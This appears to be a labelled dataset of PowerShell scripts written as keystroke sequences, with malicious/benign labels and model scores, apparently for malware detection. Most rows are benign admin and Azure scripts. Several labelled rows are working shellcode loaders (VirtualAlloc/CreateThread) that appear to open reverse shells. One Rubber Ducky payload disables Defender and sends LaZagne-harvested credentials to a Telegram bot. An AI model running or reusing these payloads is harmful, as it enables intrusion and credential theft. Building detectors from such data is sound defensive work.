0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x40,0x96,0xbd,0x5a,0x68,0x02,0x00,0x15,0xb4,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.201071e-05,0.999948
"win+r powershell enter function Get-ServiceNowRequestItem { enter [OutputType([System.Management.Automation.PSCustomObject])] enter [CmdletBinding(DefaultParameterSetName, SupportsPaging)] enter param( enter [parameter(Mandatory = $false)] enter [string]$OrderBy = 'opened_at', enter [parameter(Mandatory = $false)] enter [ValidateSet('Desc', 'Asc')] enter [string]$OrderDirection = 'Desc', enter [parameter(Mandatory = $false)] enter [int]$Limit, enter [Parameter(Mandatory = $false)] enter [Alias('Fields')] enter [string[]]$Properties, enter [parameter(Mandatory = $false)] enter [hashtable]$MatchExact = @{}, enter [parameter(Mandatory = $false)] enter [hashtable]$MatchContains = @{}, enter [parameter(Mandatory = $false)] enter [ValidateSet('true', 'false', 'all')] enter [string]$DisplayValues = 'true', enter [Parameter(ParameterSetName = 'SpecifyConnectionFields', Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [Alias('ServiceNowCredential')] enter [PSCredential]$Credential, enter [Parameter(ParameterSetName = 'SpecifyConnectionFields', Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [string]$ServiceNowURL, enter [Parameter(ParameterSetName = 'UseConnectionObject', Mandatory = $true)] enter [ValidateNotNullOrEmpty()] enter [hashtable]$Connection enter ) enter $newServiceNowQuerySplat = @{ enter OrderBy = $OrderBy enter MatchExact = $MatchExact enter OrderDirection = $OrderDirection enter MatchContains = $MatchContains enter } enter $Query = New-ServiceNowQuery @newServiceNowQuerySplat enter $getServiceNowTableSplat = @{ enter Table = 'sc_req_item' enter Query = $Query enter Fields = $Properties enter DisplayValues = $DisplayValues enter } enter if ($null -ne $PSBoundParameters.Connection) { enter $getServiceNowTableSplat.Add('Connection', $Connection) enter } enter elseif ($null -ne $PSBoundParameters.Credential -and $null -ne $PSBoundParameters.ServiceNowURL) { enter $getServiceNowTableSplat.Add('Credential', $Credential) enter $getServiceNowTableSplat.Add('ServiceNowURL', $ServiceNowURL) enter } enter if ($PSBoundParameters.ContainsKey('Limit')) { enter $getServiceNowTableSplat.Add('Limit', $Limit) enter } enter ($PSCmdlet.PagingParameters | Get-Member -MemberType Property).Name | Foreach-Object { enter $getServiceNowTableSplat.Add($_, $PSCmdlet.PagingParameters.$_) enter } enter $Result = Get-ServiceNowTable @getServiceNowTableSplat enter If (-not $Properties) { enter $Result | ForEach-Object {$_.PSObject.TypeNames.Insert(0,'ServiceNow.RequestItem')} enter } enter $Result enter } enter",0,0,0.99985087,0.00014911038
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_a9edkave"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName Application -MaxEvents 50 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_errors_50.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.429072e-05
"win+r powershell enter function Get-ValidModuleLocation { [CmdletBinding()] Param ( [Parameter(Mand enter atory=$true)] [ValidateNotNullOrEmpty()] [string] $LocationString, [Paramet enter er(Mandatory=$true)] [ValidateNotNullOrEmpty()] enter enter",1,1,0.0007339228,0.9992661
"win+r enter powershell enter enter enter . ""$psscriptroot/TestRunner.ps1"" enter $AssemblyName = ""Microsoft.PowerShell.Commands.Management"" enter $excludeList = ""EventlogResources.resx"", enter ""TransactionResources.resx"", enter ""WebServiceResources.resx"", enter ""HotFixResources.resx"", enter ""ControlPanelResources.resx"", enter ""WmiResources.resx"", enter ""ManagementMshSnapInResources.resx"", enter ""ClearRecycleBinResources.resx"", enter ""ClipboardResources.resx"" enter Test-ResourceStrings -AssemblyName $AssemblyName -ExcludeList $excludeList enter enter",0,0,0.9999294,7.061961e-05
"win+r enter powershell enter enter enter $qkc = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $qkc -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x65,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$rgcM=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($rgcM.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$rgcM,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2088933e-05,0.9999479
"win+r powershell enter Register-PSFConfigValidation -Name ""bool"" -ScriptBlock { Param ( $Value ) enter $Result = New-Object PSObject -Property @{ Success = $True Value = $null Mes enter sage = """" } try { enter enter",1,1,0.001716841,0.99828315
"win+r powershell enter DUCKY_REAL_BEGIN enter REM Title: Lazagne Exfiltration enter REM Author: mrproxy enter REM Requirements: Telegram bot, Internet Connection enter REM Description: Downloads lazagne, runs lazagne, stores all info to .txt file, sends file to telegram bot. enter REM Target: Windows enter REM Version: 1.0 enter REM Category: Exfiltration enter REM Source: https://github.com/Mr-Proxy-source/BadUSB-Payloads enter REM Remember you will have to host the powershell script yourself on any file sharing service (it has to be direct download link) enter REM If you are using DropBox, just remember to change it from ?dl=0 top ?dl=1 enter DEFINE #SCRIPT_URL example.com/payload.ps1?dl=1 enter REM Here you will have to put your telegram bot details enter DEFINE #BOT_TOKEN your-bot-token enter DEFINE #CHAT_ID your-chat-id enter DELAY 1500 enter GUI r enter DELAY 500 enter STRING powershell.exe -Command ""Set-MpPreference -DisableRealtimeMonitoring $true; Add-MpPreference -ExclusionPath 'C:\'; Start-Sleep -Seconds 5; powershell -w h -NoP -Ep Bypass -Command '$bt='#BOT_TO enter CTRL-SHIFT ENTER enter DELAY 1000 enter ALT y enter DUCKY_REAL_END enter",1,1,6.1186154e-05,0.99993885
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_4qnon9k3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_profiles.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 20 ProcessName, Id, StartTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_20.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4810248e-05
"win+r enter powershell enter enter enter Register-PSFConfigValidation -Name ""consolecolor"" -ScriptBlock { enter Param ( enter $Value enter ) enter enter $Result = New-Object PSObject -Property @{ enter Success = $True enter Value = $null enter Message = """" enter } enter enter try { [System.ConsoleColor]$color = $Value } enter catch enter { enter $Result.Message = ""Not a console color: $Value"" enter $Result.Success = $False enter return $Result enter } enter enter $Result.Value = $color enter enter return $Result enter } enter enter",0,0,0.99995315,4.683464e-05
"win+r enter powershell enter enter enter Param( enter [parameter(Mandatory=$true)] enter $CsvFilePath enter ) enter enter $ErrorActionPreference = ""Stop"" enter enter $scriptsPath = $PSScriptRoot enter if ($PSScriptRoot -eq """") { enter $scriptsPath = ""."" enter } enter enter . ""$scriptsPath\asr_logger.ps1"" enter . ""$scriptsPath\asr_common.ps1"" enter . ""$scriptsPath\asr_csv_processor.ps1"" enter enter Function ProcessItemImpl($processor, $csvItem, $reportItem) { enter $reportItem | Add-Member NoteProperty ""TestFailoverJobId"" $null enter $reportItem | Add-Member NoteProperty ""TestFailoverState"" $null enter $reportItem | Add-Member NoteProperty ""TestFailoverStateDescription"" $null enter enter $vaultName = $csvItem.VAULT_NAME enter $sourceAccountName = $csvItem.ACCOUNT_NAME enter $sourceMachineName = $csvItem.SOURCE_MACHINE_NAME enter $sourceConfigurationServer = $csvItem.CONFIGURATION_SERVER enter $targetTestFailoverVNET = $csvItem.TESTFAILOVER_VNET enter $targetVNETRG = $csvItem.TARGET_VNET_RG enter $protectedItem = $asrCommon.GetProtectedItemFromVault($vaultName, $sourceMachineName, $sourceConfigurationServer) enter if ($protectedItem -ne $null) { enter if ($protectedItem.AllowedOperations.Contains('TestFailover')) { enter $processor.Logger.LogTrace(""Starting TestFailover operation for item '$($sourceMachineName)'"") enter enter $targetTestFailoverVNETObj = Get-AzureRmVirtualNetwork ` enter -Name $targetTestFailoverVNET ` enter -ResourceGroupName $targetVNETRG enter $testFailoverJob = Start-AzureRmRecoveryServicesAsrTestFailoverJob ` enter -ReplicationProtectedItem $protectedItem ` enter -AzureVMNetworkId $targetTestFailoverVNETObj.Id ` enter -Direction PrimaryToRecovery enter $reportItem.TestFailoverJobId = $testFailoverJob.ID enter } else { enter $processor.Logger.LogTrace(""TestFailover operation not allowed for item '$($sourceMachineName)'"") enter $reportItem.TestFailoverState = $protectedItem.TestFailoverState enter $reportItem.TestFailoverStateDescription = $protectedItem.TestFailoverStateDescription enter } enter } enter } enter enter Function ProcessItem($processor, $csvItem, $reportItem) enter { enter try { enter ProcessItemImpl $processor $csvItem $reportItem enter } enter catch { enter $exceptionMessage = $_ | Out-String enter $processor.Logger.LogError($exceptionMessage) enter throw enter } enter } enter enter $logger = New-AsrLoggerInstance -CommandPath $PSCommandPath enter $asrCommon = New-AsrCommonInstance -Logger $logger enter $processor = New-CsvProcessorInstance -Logger $logger -ProcessItemFunction $function:ProcessItem enter $processor.ProcessFile($CsvFilePath) enter enter",0,0,0.99975806,0.00024197086
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_q8nvvsk1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_25.csv"") -NoTypeInformation enter",0,0,0.9999664,3.3654836e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_0b0y3oia"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3591412e-05
"win+r powershell enter function Get-SCSMIncidentRequestComment { PARAM ( [Parameter(ParameterSetNa enter me = 'General', Mandatory = $true)] $DateTime = $((Get-Date).AddHours(-24)), enter [Parameter(ParameterSetName = 'GUID')] $GUID ) enter enter",1,1,0.003691818,0.9963082
"win+r powershell enter $script:oldModulePath = $env:PSModulePath function Add-ModulePath { param([str enter ing]$Path, [switch]$Prepend) $script:oldModulePath = $env:PSModulePath if ($ enter Prepend) { $env:PSModulePAth = $Path + [System.IO.Path]::PathSeparator + $env: enter PSModulePath } enter",1,1,0.0049231458,0.99507684
"win+r powershell enter Function Add-SCSMServiceRequestComment { param ( [parameter(Mandatory = $True enter , Position = 0)] $SRObject, [parameter(Mandatory = $True, Position = 1)] $Co enter mment, [parameter(Mandatory = $True, Position = 2)] $EnteredBy, enter enter",1,1,0.0013835351,0.99861646
"win+r powershell enter Describe ""Trace-Command"" -tags ""Feature"" { Context ""Listener options"" { Befor enter eAll { $logFile = setup -f traceCommandLog.txt -pass $actualLogFile = setup -f enter actualTraceCommandLog.txt -pass } AfterEach { if ( test-path $logfile ) { R enter emove-Item $logFile } if ( test-path $actualLogFile ) { Remove-Item $actualLogF enter ile } } enter",1,1,0.00058272784,0.9994173
"win+r powershell enter $VuZ = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $VuZ -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xd1,0xbe,0xd0,0x6b,0xfd,0x00,0xd9,0x74,0x24,0xf4,0x5a,0x2b,0xc9,0xb1,0x47,0x31,0x72,0x18,0x03,0x72,0x18,0x83,0xea,0x2c,0x89,0x08,0xfc,0x24,0xcc,0xf3,0xfd,0xb4,0xb1,0x7a,0x18,0x85,0xf1,0x19,0x68,0xb5,0xc1,0x6a,0x3c,0x39,0xa9,0x3f,0xd5,0xca,0xdf,0x97,0xda,0x7b,0x55,0xce,0xd5,0x7c,0xc6,0x32,0x77,0xfe,0x15,0x67,0x57,0x3f,0xd6,0x7a,0x96,0x78,0x0b,0x76,0xca,0xd1,0x47,0x25,0xfb,0x56,0x1d,0xf6,0x70,0x24,0xb3,0x7e,0x64,0xfc,0xb2,0xaf,0x3b,0x77,0xed,0x6f,0xbd,0x54,0x85,0x39,0xa5,0xb9,0xa0,0xf0,0x5e,0x09,0x5e,0x03,0xb7,0x40,0x9f,0xa8,0xf6,0x6d,0x52,0xb0,0x3f,0x49,0x8d,0xc7,0x49,0xaa,0x30,0xd0,0x8d,0xd1,0xee,0x55,0x16,0x71,0x64,0xcd,0xf2,0x80,0xa9,0x88,0x71,0x8e,0x06,0xde,0xde,0x92,0x99,0x33,0x55,0xae,0x12,0xb2,0xba,0x27,0x60,0x91,0x1e,0x6c,0x32,0xb8,0x07,0xc8,0x95,0xc5,0x58,0xb3,0x4a,0x60,0x12,0x59,0x9e,0x19,0x79,0x35,0x53,0x10,0x82,0xc5,0xfb,0x23,0xf1,0xf7,0xa4,0x9f,0x9d,0xbb,0x2d,0x06,0x59,0xbc,0x07,0xfe,0xf5,0x43,0xa8,0xff,0xdc,0x87,0xfc,0xaf,0x76,0x2e,0x7d,0x24,0x87,0xcf,0xa8,0xd1,0x82,0x47,0x93,0x8e,0x8c,0x92,0x7b,0xcd,0x8e,0x8d,0x27,0x58,0x68,0xfd,0x87,0x0a,0x25,0xbd,0x77,0xeb,0x95,0x55,0x92,0xe4,0xca,0x45,0x9d,0x2e,0x63,0xef,0x72,0x87,0xdb,0x87,0xeb,0x82,0x90,0x36,0xf3,0x18,0xdd,0x78,0x7f,0xaf,0x21,0x36,0x88,0xda,0x31,0xae,0x78,0x91,0x68,0x78,0x86,0x0f,0x06,0x84,0x12,0xb4,0x81,0xd3,0x8a,0xb6,0xf4,0x13,0x15,0x48,0xd3,0x28,0x9c,0xdc,0x9c,0x46,0xe1,0x30,0x1d,0x96,0xb7,0x5a,0x1d,0xfe,0x6f,0x3f,0x4e,0x1b,0x70,0xea,0xe2,0xb0,0xe5,0x15,0x53,0x65,0xad,0x7d,0x59,0x50,0x99,0x21,0xa2,0xb7,0x1b,0x1d,0x75,0xf1,0x69,0x4f,0x45;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$h8Ia=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($h8Ia.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$h8Ia,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.2266227e-05,0.9999478
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_y9w2tv5d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999651,3.4917535e-05
"win+r enter powershell enter enter enter param([string]$RootDir, [string]$CertThumbPrint = 'BB25149CDAF879A29DB6A011F6FC874AF32CBF51') enter $cert = Get-ChildItem Cert:\CurrentUser\My\$CertThumbPrint enter enter Get-ChildItem $RootDir -Recurse -Include *.ps1,*.psm1,*.ps1xml -File | enter Where Name -ne 'Pscx.UserPreferences.ps1' | enter Foreach { enter Set-AuthenticodeSignature -Certificate $cert -TimestampServer http://timestamp.digicert.com $_.FullName enter } enter enter",0,0,0.9999238,7.616521e-05
"win+r powershell enter Describe ""Get-TraceSource"" -Tags ""Feature"" { It ""Should output data sorted by n enter ame"" { $expected = (Get-TraceSource | Sort-Object Name) Get-TraceSource | Shou enter ld -Be $expected } } enter",0,0,0.89001125,0.10998875
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_gma4gco5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 30 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_30.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3998836e-05
"win+r enter powershell enter enter enter Param( enter [parameter(Mandatory=$true)] enter $CsvFilePath enter ) enter enter $ErrorActionPreference = ""Stop"" enter enter $scriptsPath = $PSScriptRoot enter if ($PSScriptRoot -eq """") { enter $scriptsPath = ""."" enter } enter enter . ""$scriptsPath\asr_logger.ps1"" enter . ""$scriptsPath\asr_common.ps1"" enter . ""$scriptsPath\asr_csv_processor.ps1"" enter enter Function ProcessItemImpl($processor, $csvItem, $reportItem) { enter $reportItem | Add-Member NoteProperty ""ProtectableStatus"" $null enter $reportItem | Add-Member NoteProperty ""ProtectionState"" $null enter $reportItem | Add-Member NoteProperty ""ProtectionStateDescription"" $null enter $reportItem | Add-Member NoteProperty ""ReplicationJobId"" $null enter enter $vaultName = $csvItem.VAULT_NAME enter $sourceAccountName = $csvItem.ACCOUNT_NAME enter $sourceProcessServer = $csvItem.PROCESS_SERVER enter $sourceConfigurationServer = $csvItem.CONFIGURATION_SERVER enter $targetPostFailoverResourceGroup = $csvItem.TARGET_RESOURCE_GROUP enter $targetPostFailoverStorageAccountName = $csvItem.TARGET_STORAGE_ACCOUNT enter $targetPostFailoverLogStorageAccountName = $csvItem.TARGET_LOGSTORAGE_ACCOUNT enter $targetPostFailoverVNET = $csvItem.TARGET_VNET enter $targetPostFailoverSubnet = $csvItem.TARGET_SUBNET enter $sourceMachineName = $csvItem.SOURCE_MACHINE_NAME enter $replicationPolicy = $csvItem.REPLICATION_POLICY enter $targetMachineName = $csvItem.TARGET_MACHINE_NAME enter $targetStorageAccountRG = $csvItem.TARGET_STORAGE_ACCOUNT_RG enter $targetLogStorageAccountRG = $csvItem.TARGET_LOGSTORAGE_ACCOUNT_RG enter $targetVNETRG = $csvItem.TARGET_VNET_RG enter enter $vaultServer = $asrCommon.GetAndEnsureVaultContext($vaultName) enter $fabricServer = $asrCommon.GetFabricServer($sourceConfigurationServer) enter $protectionContainer = $asrCommon.GetProtectionContainer($fabricServer) enter $protectableVM = $asrCommon.GetProtectableItem($protectionContainer, $sourceMachineName) enter enter $processor.Logger.LogTrace(""ProtectableStatus: '$($protectableVM.ProtectionStatus)'"") enter $reportItem.ProtectableStatus = $protectableVM.ProtectionStatus enter enter if ($protectableVM.ReplicationProtectedItemId -eq $null) { enter $processor.Logger.LogTrace(""Starting protection for item '$($sourceMachineName)'"") enter enter $targetPostFailoverStorageAccount = Get-AzStorageAccount ` enter -Name $targetPostFailoverStorageAccountName ` enter -ResourceGroupName $targetStorageAccountRG enter enter $targetPostFailoverLogStorageAccount = Get-AzStorageAccount ` enter -Name $targetPostFailoverLogStorageAccountName ` enter -ResourceGroupName $targetLogStorageAccountRG enter enter $targetResourceGroupObj = Get-AzResourceGroup -Name $targetPostFailoverResourceGroup enter $targetVnetObj = Get-AzVirtualNetwork ` enter -Name $targetPostFailoverVNET ` enter -ResourceGroupName $targetVNETRG enter $targetPolicyMap = Get-AzRecoveryServicesAsrProtectionContainerMapping ` enter -ProtectionContainer $protectionContainer | Where-Object { $_.PolicyFriendlyName -eq $replicationPolicy } enter if ($targetPolicyMap -eq $null) { enter $processor.Logger.LogErrorAndThrow(""Policy map '$($replicationPolicy)' was not found"") enter } enter enter $sourceProcessServerObj = $fabricServer.FabricSpecificDetails.ProcessServers | Where-Object { $_.FriendlyName -eq $sourceProcessServer } enter if ($sourceProcessServerObj -eq $null) { enter $processor.Logger.LogErrorAndThrow(""Process server with name '$($sourceProcessServer)' was not found"") enter } enter $sourceAccountObj = $fabricServer.FabricSpecificDetails.RunAsAccounts | Where-Object { $_.AccountName -eq $sourceAccountName } enter if ($sourceAccountObj -eq $null) { enter $processor.Logger.LogErrorAndThrow(""Account name '$($sourceAccountName)' was not found"") enter } enter enter $processor.Logger.LogTrace( ""Starting replication Job for source '$($sourceMachineName)'"") enter $replicationJob = New-AzRecoveryServicesAsrReplicationProtectedItem ` enter -VMwareToAzure ` enter -ProtectableItem $protectableVM ` enter -Name (New-Guid).Guid ` enter -ProtectionContainerMapping $targetPolicyMap ` enter -RecoveryAzureStorageAccountId $targetPostFailoverStorageAccount.Id ` enter -LogStorageAccountId $targetPostFailoverLogStorageAccount.Id ` enter -ProcessServer $sourceProcessServerObj ` enter -Account $sourceAccountObj ` enter -RecoveryResourceGroupId $targetResourceGroupObj.ResourceId ` enter -RecoveryAzureNetworkId $targetVnetObj.Id ` enter -RecoveryAzureSubnetName $targetPostFailoverSubnet ` enter -RecoveryVmName $targetMachineName enter enter $replicationJobObj = Get-AzRecoveryServicesAsrJob -Name $replicationJob.Name enter while ($replicationJobObj.State -eq 'NotStarted') { enter Write-Host ""."" -NoNewline enter $replicationJobObj = Get-AzRecoveryServicesAsrJob -Name $replicationJob.Name enter } enter $reportItem.ReplicationJobId = $replicationJob.Name enter enter if ($replicationJobObj.State -eq 'Failed') { enter LogError ""Error starting replication job"" enter foreach ($replicationJobError in $replicationJobObj.Errors) { enter LogError $replicationJobError.ServiceErrorDetails.Message enter LogError $replicationJobError.ServiceErrorDetails.PossibleCauses enter } enter } else { enter $processor.Logger.LogTrace(""ReplicationJob initiated"") enter } enter } else { enter $protectedItem = Get-AzRecoveryServicesAsrReplicationProtectedItem ` enter -ProtectionContainer $protectionContainer ` enter -FriendlyName $sourceMachineName enter $reportItem.ProtectionState = $protectedItem.ProtectionState enter $reportItem.ProtectionStateDescription = $protectedItem.ProtectionStateDescription enter enter $processor.Logger.LogTrace(""ProtectionState: '$($protectedItem.ProtectionState)'"") enter $processor.Logger.LogTrace(""ProtectionDescription: '$($protectedItem.ProtectionStateDescription)'"") enter } enter } enter enter Function ProcessItem($processor, $csvItem, $reportItem) { enter try { enter ProcessItemImpl $processor $csvItem $reportItem enter } enter catch { enter $exceptionMessage = $_ 